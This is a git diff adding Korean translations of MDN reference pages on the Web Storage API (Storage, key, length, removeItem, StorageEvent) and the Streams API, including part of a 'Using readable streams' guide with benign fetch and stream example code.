+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Storage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+ <li>{{domxref("CacheStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/storage/key/index.html b/files/ko/web/api/storage/key/index.html
new file mode 100644
index 0000000000..7583b6e49f
--- /dev/null
+++ b/files/ko/web/api/storage/key/index.html
@@ -0,0 +1,74 @@
+---
+title: Storage.key()
+slug: Web/API/Storage/key
+tags:
+  - 로컬 스토리지
+  - 세션 스토리지
+  - 웹 스토리지
+translation_of: Web/API/Storage/key
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>{{domxref("Storage")}} 인터페이스의 <code>key()</code> 메서드는 숫자 <code>n</code>이 전달되면 Storage의 <code>n</code>번째 key 이름을 반환합니다. key의 순서는 user-agent에 의해 정의되므로 이 순서에 의존성이 있어서는 안됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var <em>aKeyName</em> = <em>storage</em>.key(<em>index</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>index</em></dt>
+ <dd>반환받으려하는 key의 번호를 나타내는 정수. 이 정수는 0부터 시작하는 인덱스입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>key 이름을 포함한 {{domxref("DOMString")}} 입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 함수는 localStorage 의 key들을 반복합니다.</p>
+
+<pre class="brush: js">function forEachKey(callback) {
+  for (var i = 0; i &lt; localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}</pre>
+
+<p>다음 함수는 localStorage 의 key들을 반복하고 각 key에 설정된 값들을 가져옵니다.</p>
+
+<pre class="brush: js">for(var i =0; i &lt; localStorage.length; i++){
+   console.log(localStorage.getItem(localStorage.key(i)));
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 실제로 쓰이는 예제를 보려면 우리의 <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a> 를 참조하세요.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 테이블은 구조화 된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하고 Pull Request 를 보내주세요.</div>
+
+<p>{{Compat("api.Storage.key")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ko/web/api/storage/length/index.html b/files/ko/web/api/storage/length/index.html
new file mode 100644
index 0000000000..53b092b939
--- /dev/null
+++ b/files/ko/web/api/storage/length/index.html
@@ -0,0 +1,68 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Storage
+  - Web Storage
+translation_of: Web/API/Storage/length
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p>{{domxref("Storage")}} 인터페이스의 <code>length</code> 읽기 전용 속성은 <code>Storage</code> 객체에 저장된 데이터 항목의 수를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>length</em> = <em>storage</em>.length;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Storage</code> 객체에 저장된 항목의 수.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 함수는 현재 도메인의 로컬 저장소에 세 개의 항목을 추가한 후 저장소 항목의 수를 반환합니다.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  return localStorage.length; // Should return 3
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 실제 사용 예제를 보시려면 저희의 <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>를 방문하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Storage.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/storage/removeitem/index.html b/files/ko/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..e9afd96922
--- /dev/null
+++ b/files/ko/web/api/storage/removeitem/index.html
@@ -0,0 +1,134 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+  - 메소드
+  - 스토리지
+  - 웹 스토리지
+  - 참고
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>{{domxref("Storage")}} 인터페이스의 removeItem() 메소드에 키 이름을 파라미터로 전달하면 스토리지에서 해당 키를 삭제합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>storage</em>.removeItem(<em>keyName</em>);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><em><u>keyName</u></em></dt>
+ <dd>삭제하고자 하는 키 이름({{domxref("DOMString")}}).</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p><em>반환값 없음.</em></p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래의 함수는 로컬 스토리지에 3 개의 데이터 아이템을 생성한 후 그 중 하나를 삭제합니다.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>주</strong>: 실 사용 예제는 <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>를 참고하시기 바랍니다.</p>
+</div>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>모든 브라우저가 다양한 지원 수준의 localStorage와 sessionStorage를 제공합니다. 이 곳에서 <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">다양한 브라우저에서의 storage 지원과 관련된 상세항 사항</a>을 확인할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주: </strong>iOS 5.1부터 모바일 Safari는 localStorage 데이터를 캐시 폴더에 저장하며, 공간 부족 등의 사유로 OS의 요청에 의해 가끔씩 지워질 수 있습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></p>
diff --git a/files/ko/web/api/storageevent/index.html b/files/ko/web/api/storageevent/index.html
new file mode 100644
index 0000000000..2ab61d0509
--- /dev/null
+++ b/files/ko/web/api/storageevent/index.html
@@ -0,0 +1,79 @@
+---
+title: StorageEvent
+slug: Web/API/StorageEvent
+tags:
+  - API
+  - Event
+  - Reference
+  - StorageEvent
+  - Web Storage
+  - Web Storage API
+translation_of: Web/API/StorageEvent
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><strong><code>StorageEvent</code></strong>는 접근 가능한 저장소가 다른 문서에서 변경될 경우 {{domxref("window")}}로 전송됩니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="특성">특성</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">특성</td>
+   <td class="header">유형</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>key</code></td>
+   <td>{{DOMxRef("DOMString")}}</td>
+   <td>변경된 키. 저장소가 <code>clear()</code> 메서드로 인해 바뀐 경우 {{jsxref("null")}}입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+  <tr>
+   <td><code>newValue</code></td>
+   <td>{{DOMxRef("DOMString")}}</td>
+   <td><code>key</code>의 새로운 값. 저장소가 <code>clear()</code> 메서드로 바뀐 경우, 또는 변경점이 <code>key</code>를 저장소에서 삭제한 것인 경우 <code>newValue</code>는 <code>null</code>입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code></td>
+   <td>{{DOMxRef("DOMString")}}</td>
+   <td><code>key</code>의 이전 값. <code>key</code>를 저장소에 새로 추가한 경우 이전 값이 존재하지 않으므로 <code>oldValue</code>는 <code>null</code>입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+  <tr>
+   <td><code>storageArea</code></td>
+   <td>{{Interface("nsIDOMStorage")}}</td>
+   <td>변경된 <code>Storage</code> 객체입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{DOMxRef("USVString")}}</td>
+   <td><code>key</code>를 바꾼 문서의 URL입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statuc</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#the-storageevent-interface", "The <code>StorageEvent</code> interface")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.StorageEvent")}}</p>
diff --git a/files/ko/web/api/streams_api/index.html b/files/ko/web/api/streams_api/index.html
new file mode 100644
index 0000000000..96009dad26
--- /dev/null
+++ b/files/ko/web/api/streams_api/index.html
@@ -0,0 +1,152 @@
+---
+title: Streams API
+slug: Web/API/Streams_API
+tags:
+  - API
+  - Experimental
+  - Landing
+  - Reference
+  - Streams
+  - TopicStub
+translation_of: Web/API/Streams_API
+---
+<div>{{SeeCompatTable}}{{APIRef("Streams")}}</div>
+
+<p class="summary">Streams API는 Javascript를 이용해 네트워크를 통해 전송된 데이터 스트림에 접근하여 원하는 대로 처리가 가능한 API를 제공합니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>Streaming은 네트워크를 통해 받은 리소스를 작은 조각으로 나누어, Bit 단위로 처리합니다. 이는 브라우저가 수신한 자원을 웹페이지에 표현할 때 주로 사용하는 방법입니다. — Video buffer는 재생되기 전 천천히 채워지며 가끔 이미지도 천천히 로딩되는 것을 보실 수 있을 겁니다..</p>
+
+<p>하지만 Javascript에서는 지금까지 불가능했습니다. 이전에는 (비디오나 텍스트 파일 등의) 리소스를 처리하기 위해서 우선, 전체 파일을 다운로드 받은 후 알맞은 포맷으로 파싱된 후에야, 전송된 전체 데이터를 처리할 수 있었습니다.</p>
+
+<p>With Javascript에 Stream이 도입된 후에는 모든 것이 바뀌었는데, 이제 Buffer, String 또는 blob 없이도 Javascript를 통해 Raw Data를 비트 단위로 처리할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15817/Concept.png" style="display: block; height: 382px; margin: 0px auto; width: 1000px;"></p>
+
+<p>장점은 또 있습니다 — Stream의 시작 또는 종료를 감지할 수 있으며, 여러 stream을 엮어서 에러를 처리하거나 필요한 경우 stream을 취소할 수도 있습니다. 또한 stream이 읽어들이는 속도에 따라 반응할 수도 있지요.</p>
+
+<p>Stream의 주요한 기본 사용법은 응답 데이터를 stream으로 만드는 것입니다. <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a>를 통해 정상적으로 전송된 응답 {{domxref("Body")}}는 {{domxref("ReadableStream")}}로 표현 가능합니다. 또한 {{domxref("ReadableStream.getReader()")}}를 통해 Reader 객체를 얻어 데이터를 읽을 수도 있으며, {{domxref("ReadableStream.cancel()")}}로 Stream을 취소하는 것 등이 가능합니다.</p>
+
+<p>조금 더 복잡한 사용법은 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자를 통해 사용자가 직접 Stream을 생성하는 것입니다. 예를 들자면 <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>에 전달할 데이터를 Stream으로 만들 수도 있습니다.</p>
+
+<p>{{domxref("WritableStream")}}을 사용하면 Stream에 데이터를 쓰는 것도 가능합니다..</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API concepts</a>, <a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Using readable streams</a>,  <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a> — 페이지에서 stream에 관한 더 자세한 이론과 예제를 찾을 수 있습니다.</p>
+</div>
+
+<h2 id="스트림_인터페이스">스트림 인터페이스</h2>
+
+<h3 id="읽기_스트림(Readable_streams)">읽기 스트림(Readable streams)</h3>
+
+<dl>
+ <dt>{{domxref("ReadableStream")}}</dt>
+ <dd>데이터 읽기 스트림을 나타냅니다. <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>의 결과 스트림이나 개발자가 정의한 스트림(예, 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 클래스)등을 핸들링할 수 있습니다.</dd>
+ <dt>{{domxref("ReadableStreamDefaultReader")}}</dt>
+ <dd>네트워크(예, fetch 요청)등에서 전달된 스트림 데이터를 처리하는 기본 Reader를 반환합니다.</dd>
+ <dt>{{domxref("ReadableStreamDefaultController")}}</dt>
+ <dd>{{domxref("ReadableStream")}}의 상태나 내부 큐를 컨트롤 할 수 있는 기본 컨트롤러를 반환합니다. 기본 컨트롤러는 Byte 스트림 외의 스트림에만 해당합니다.</dd>
+</dl>
+
+<h3 id="쓰기_스트림(writable_streams)">쓰기 스트림(writable streams)</h3>
+
+<dl>
+ <dt>{{domxref("WritableStream")}}</dt>
+ <dd>목적지 스트림에 데이터를 쓰기 위한 표준 추상 인터페이스를 제공하는 객체입니다. 이 객체는 내장 백프레셔와 큐잉을 구현하고 있습니다.</dd>
+ <dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
+ <dd>쓰기 스트림에 데이터 조각들을 쓰기 위한 기본 Writer 객체를 반환한다.</dd>
+ <dt>{{domxref("WritableStreamDefaultController")}}</dt>
+ <dd>{{domxref("WritableStream")}} 상태를 컨트롤하는 기본 컨트롤러를 반환한다. <code>WritableStream</code>을 생성하면 해당 스트림을 컨트롤 하기 위해 <code>WritableStreamDefaultController</code> 인스턴스가 내부적으로 생성된다.</dd>
+</dl>
+
+<h3 id="관련_스트림_API와_기능">관련 스트림 API와 기능</h3>
+
+<dl>
+ <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
+ <dd>스트림을 생성할 때 기본으로 사용 할 내장 byte length queuing strategy를 제공합니다.</dd>
+ <dt>{{domxref("CountQueuingStrategy")}}</dt>
+ <dd>스트림을 생성할 때 기본적으로 사용 할 내장 chunk counting queuing strategy를 제공합니다..</dd>
+</dl>
+
+<h3 id="외부_API_확장">외부 API 확장</h3>
+
+<dl>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>새 <code>Request</code> 객체가 생성될 때 <code>RequestInit</code> 딕셔너리의 <code>body</code>에 {{domxref("ReadableStream")}} 를 전달할 수 있습니다. 이 <code>Request</code>는 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 에 전달되에서 스트림을 fetch하는데 사용됩니다.</dd>
+ <dt>{{domxref("Body")}}</dt>
+ <dd><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a> 성공 시 기본적으로 {{domxref("Body")}} {{domxref("ReadableStream")}}로 제공되며, reader를 붙여 데이터를 읽어들일 수 있습니다.</dd>
+</dl>
+
+<h3 id="ByteStream_관련_인터페이스">ByteStream 관련 인터페이스</h3>
+
+<div class="warning">
+<p><strong>중요</strong>: 아래 항목들은 아직 구현된 곳이 없으며, 스펙의 세부 사항이 구현할 수 있을 만큼 충분한 지 논의가 진행중입니다. 추후 변경될 수 있습니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ReadableStreamBYOBReader")}}</dt>
+ <dd>개발자가 직접 제공하여 stream data를 읽을 수 있는 BYOB ("bring your own buffer") reader를 표현합니다. (예 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자).</dd>
+ <dt>{{domxref("ReadableByteStreamController")}}</dt>
+ <dd>{{domxref("ReadableStream")}}의 상태와 내부 큐를 컨트롤 하는 컨트롤러 객체를 표현합니다. Byte stream 컨트롤러는 byte stream을 위한 컨트롤러입니다.</dd>
+ <dt>{{domxref("ReadableStreamBYOBRequest")}}</dt>
+ <dd>{{domxref("ReadableByteStreamController")}}의 request를 표현합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>Streams API 문서와 참조할 만한 예제를 함께 작성하였습니다 — <a href="https://github.com/mdn/dom-examples/tree/master/streams">mdn/dom-examples/streams</a> 를 참조하세요. 예제는 아래와 같습니다.:</p>
+
+<ul>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-pump/">Simple stream pump</a>: ReadableStream에서 어떻게 데이터를 읽어들여 다른 곳으로 전달하는지 보여줍니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/grayscale-png/">Grayscale a PNG</a>: PNG file의 ReadableStream을 통해 grayscale로 변경하는 방법을 보여줍니다..</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-random-stream/">Simple random stream</a>: 커스텀 스트림을 통해 무작위 문자열을 생성하고, 데이터 청크로 큐잉한 뒤, 다시 읽어들이는 방법에 대해 설명합니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-tee-example/">Simple tee example</a>: 이 예제는 simple random stream 예제를 확장하여, 스트림을 분할하고 각 스트림이 독립적으로 데이터를 읽는 방법을 보여줍니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer</a>:  Writable stream에 데이터를 쓰는 방법을 설명하고, 스트림 데이터를 디코드하여 UI로 표현하는 방법을 보옂부니다..</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/png-transform-stream/">Unpack chunks of a PNG</a>: <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream/pipeThrough"><code>pipeThrough()</code></a> 을 통해 PNG file을 PNG 청크 스트림으로 변환하는 방식으로 ReadableStream을 다른 데이터 타입 스트림으로 전환하는 방법을 설명합니다.</li>
+</ul>
+
+<p>다른 개발자의 예제:</p>
+
+<ul>
+ <li><a href="https://fetch-progress.anthum.com/">Progress Indicators with Streams, Service Workers, &amp; Fetch</a>.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>최초 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h3 id="ReadableStream">ReadableStream</h3>
+
+<p>{{Compat("api.ReadableStream")}}</p>
+
+<h3 id="WritableStream">WritableStream</h3>
+
+<p>{{Compat("api.WritableStream")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API 개</a>념</li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Readable stream 사용하기</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Writable stream 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/streams_api/using_readable_streams/index.html b/files/ko/web/api/streams_api/using_readable_streams/index.html
new file mode 100644
index 0000000000..719cd6653f
--- /dev/null
+++ b/files/ko/web/api/streams_api/using_readable_streams/index.html
@@ -0,0 +1,317 @@
+---
+title: Using readable streams
+slug: Web/API/Streams_API/Using_readable_streams
+translation_of: Web/API/Streams_API/Using_readable_streams
+---
+<div>{{apiref("Streams")}}</div>
+
+<p class="summary">자바스크립트 개발자로서, 프로그래밍적으로 네트워크로부터 받은 데이터 스트림을 Chunk단위로 읽고 다루는 것은 매우 유용합니다! 그러나 어떻게 스트림 API의 Readable stream을 잘 사용할수 있을까요. 이번 내용은 그것을 설명하고 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. If not, we suggest that you first read the <a href="/en-US/docs/Web/API/Streams_API#Concepts_and_usage">Streams concepts and usage overview</a> and dedicated <a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API concepts</a> article, then come back.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you are looking for information on writable streams try <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a> instead.</p>
+</div>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>파이어폭스 65+ 와 크롬 42+ 에서 Fetch Body 객체를 스트림으로서 사용 할수 있고, custom readable 스트림을 만들수 있습니다. 현재 <a href="/en-US/docs/Web/API/Streams_API/Concepts#Pipe_chains">Pipe chains</a>의 경우 오직 크롬에서만 지원하고 있고 그 기능은 변경될 수 있습니다.</p>
+
+<h2 id="Finding_some_examples">Finding some examples</h2>
+
+<p>이번 내용과 관련한 많은 예제를 <a href="https://github.com/mdn/dom-examples/tree/master/streams">dom-examples/streams</a> 에서 살펴볼수 있습니다. 이곳에서 모든 소스를 확인할수 있을 뿐만 아니라 예제 사이트 링크도 확인할수 있습니다.</p>
+
+<h2 id="Consuming_a_fetch_as_a_stream">Consuming a fetch as a stream</h2>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 는 네트워크를 통해 리소스를 가져오는 <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a>의 현대적인 대안책 입니다. Fetch API의 수많은 이점 가운데 가장 훌륭한점은 최근 브라우저들이 Fetch Response를 Readable 스트림으로 이용할수 있게 하는 기능을 추가한것 입니다.</p>
+
+<p>{{domxref("Body")}} 믹스인은 {{domxref("Body.body","body")}} 속성을 포함하고 있습니다. 그리고 이 {{domxref("Body.body","body")}} 속성은 {{domxref("Body.body","body")}}의 내용을 Readable 스트림으로 노출시키는 간단한 getter 입니다. 이 {{domxref("Body")}} 믹스인은 {{domxref("Request")}}와 {{domxref("Response")}} 인터페이스로부터 구현 되며, 따라서 두 경우 모두 사용 할수 있습니다. 다만 Response body의 스트림을 사용하는 것이 조금더 명확합니다.</p>
+
+<p>우리의 <a href="https://github.com/mdn/dom-examples/tree/master/streams/simple-pump">Simple stream pump</a>예시에서 보여주듯(<a href="https://mdn.github.io/dom-examples/streams/simple-pump/">see it live also</a>), Readable 스트림을 노출시키기 위해서는 단지 Response의 body 속성에 접근하기만 하면 됩니다.</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response =&gt; response.body)
+</pre>
+
+<p>이것은 우리에게 {{domxref("ReadableStream")}}  객체를 제공해 줍니다.</p>
+
+<h3 id="Attaching_a_reader">Attaching a reader</h3>
+
+<p>이제 우리는 스트림화된 body를 가지고 있으며, 이 스트림을 읽기 위해서는 리더기를 붙여야 합니다. 이 작업은 {{domxref("ReadableStream.getReader()")}} 메서드를 사용하여 처리합니다.</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response =&gt; response.body)
+.then(body =&gt; {
+  const reader = body.getReader();</pre>
+
+<p>이 메서드를 실행하면 리더기가 생성되고 이 리더기를 스트림에 고정(locks) 시킵니다. {{domxref("ReadableStreamDefaultReader.releaseLock()")}} 메서드를 사용하는등 이 고정(locks)을 풀기전 까지는(released), 그 어떤 다른 리더기들도 이 스트림을 읽을수 없습니다. </p>
+
+<p>또한 <code>response.body</code> 는 동기이므로 굳이 프로미스를 사용할 필요가 없으며, 위의 예시를 한번의 스텝으로 줄일수 있다는 점에 주목해 주십시요</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+  fetch('./tortoise.png')
+  // body 를 ReadableStream으로 가공함
+  .then(response =&gt; {
+    const reader = response.body.getReader();</pre>
+
+<h3 id="Reading_the_stream">Reading the stream</h3>
+
+<p>이제 우리는 우리의 리더기를 추가하였습니다. 우리는 리더기의 {{domxref("ReadableStreamDefaultReader.read()")}} 메서드를 사용하여 스트림으로 부터 data chunk들을 읽을수 있게 되었습니다.</p>
+
+<p>정확하게는 이 메서드는 각 스트림으로부터 하나의  data chunk를 읽습니다. 그리고 이러한 data chunk는 우리가 원하는대로 사용할 수 있습니다.</p>
+
+<p>예를 들어 우리의 Simple stream pump example에서는 {{domxref("ReadableStreamDefaultReader.read()")}} 사용하여 Data Chunk를 새로운 커스텀 <code>ReadableStream</code>에 집어 넣고 있습니다. 그리고 만약 읽을수 있는 다음 Data Chunk가 있다면, {{domxref("ReadableStreamDefaultReader.read()")}} 를 다시 사용하여 다음 Data Chunk를 커스텀 <code>ReadableStream</code>에 집어 넣습니다. 더이상 읽을수 있는 Data Chunk가 없다면, 그 커스텀 <code>ReadableStream</code>(우리는 이 새로운 Readable 스트림에 대해 다음 섹션에서 다 자세히 살펴 볼것 입니다.)을 통해 새로운 {{domxref("Response")}} 객체를 생성합니다. 그 다음 이 {{domxref("Response")}} 객체를 {{domxref("Blob")}} 형태로 변환하고  이 {{domxref("Blob")}} 으로 부터 {{domxref("URL.createObjectURL()")}} 메서드를 사용하여 URL 객체를 생성합니다. 마지막으로 이 URL객체를 {htmlelement("img")}} 에 적용하여 이미지를 보여줌으로서 fetch된 오리지널 이미지를 효과적으로 복사하는 것입니다.</p>
+
+<pre class="brush: js">  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        // 스트림의 다음 Chunk에 대한 액세스를 제공하는 psomise를 리턴한다.
+        return reader.read().then(({ done, value }) =&gt; {
+          // 더이상 읽을 데이터 조각이 없을때 스트림을 닫는다
+          if (done) {
+              controller.close();
+              return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream =&gt; new Response(stream))
+.then(response =&gt; response.blob())
+.then(blob =&gt; URL.createObjectURL(blob))
+.then(url =&gt; console.log(image.src = url))
